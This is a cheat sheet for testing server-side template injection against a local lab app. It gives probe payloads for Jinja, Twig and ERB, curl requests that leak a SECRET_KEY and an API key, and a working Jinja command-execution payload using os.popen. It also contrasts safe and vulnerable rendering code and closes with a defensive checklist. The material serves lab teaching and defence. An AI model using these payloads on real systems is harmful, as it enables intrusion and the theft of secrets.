Use this as a quick reference while testing SSTI in labs and authorized assessments.
Quick Probes
Generic markers:
ootw-ssti-test
{{ 7 * 7 }}
${7*7}
<%= 7 * 7 %>
#{7*7}
Jinja:
{{ 7 * 7 }}
{{ "ootw".upper() }}
{{ config }}
{{ request }}
Twig:
{{ 7 * 7 }}
{{ _self }}
ERB:
<%= 7 * 7 %>
Lab curl Checks
Expected matrix:
/ssti/basic {{ 7 * 7 }} -> Hello 49,
/ssti/blacklist {{ 7 * 7 }} -> Hello 49,
/ssti/better {{ 7 * 7 }} -> Hello 49,
/ssti/better {{ profile.api_key }} -> Hello ootw-ssti-demo-key,
/ssti/fixed {{ 7 * 7 }} -> Hello {{ 7 * 7 }}
Only /ssti/fixed should print {{ 7 * 7 }} literally.
Expression evaluation:
curl -i -X POST "http://127.0.0.1:5000/ssti/basic" \
--data-urlencode "name={{ 7 * 7 }}"
Configuration disclosure:
curl -i -X POST "http://127.0.0.1:5000/ssti/basic" \
--data-urlencode 'name={{ config["SECRET_KEY"] }}'
Local lab command proof:
curl -i -X POST "http://127.0.0.1:5000/ssti/basic" \
--data-urlencode "name={{ cycler.__init__.__globals__.os.popen('id').read() }}"
Weak blacklist bypass:
curl -i -X POST "http://127.0.0.1:5000/ssti/blacklist" \
--data-urlencode "name={{ 7 * 7 }}"
Sandbox context leak:
curl -i -X POST "http://127.0.0.1:5000/ssti/better" \
--data-urlencode "name={{ profile.api_key }}"
Fixed route:
curl -i -X POST "http://127.0.0.1:5000/ssti/fixed" \
--data-urlencode "name={{ 7 * 7 }}" \
--data-urlencode "template_id=receipt"
The fixed route should display {{ 7 * 7 }} as data, not evaluate it.
Data vs Template Source
Safe data pattern:
render_template_string("Hello {{ name }}", name=user_input)
With user_input={{ 7 * 7 }}, the output contains:
Hello {{ 7 * 7 }}
Vulnerable source pattern:
template = "Hello " + user_input
render_template_string(template)
With user_input={{ 7 * 7 }}, the output contains:
Hello 49
Jinja Context Checks
Common objects:
{{ config }}
{{ request }}
{{ session }}
{{ g }}
{{ self }}
Simple filters and methods:
{{ "ootw"|upper }}
{{ "ootw".upper() }}
{{ [1,2,3]|length }}
Local lab command proof:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
Use command proofs only in controlled labs.
Error Clues
TemplateSyntaxError
UndefinedError
SecurityError
Jinja2
Twig
Freemarker
Velocity
ERB
Liquid
Defensive Review
Confirm:
- User input is not rendered as a template.
- Templates are server-owned.
- User input is passed as data.
- Template IDs use strict allowlists.
- Sensitive objects are not exposed to user-editable templates.
- Sandbox mode is not the only boundary.
- Template syntax errors are logged.
- Suspicious markers such as
{{,{%,${, and<%are monitored.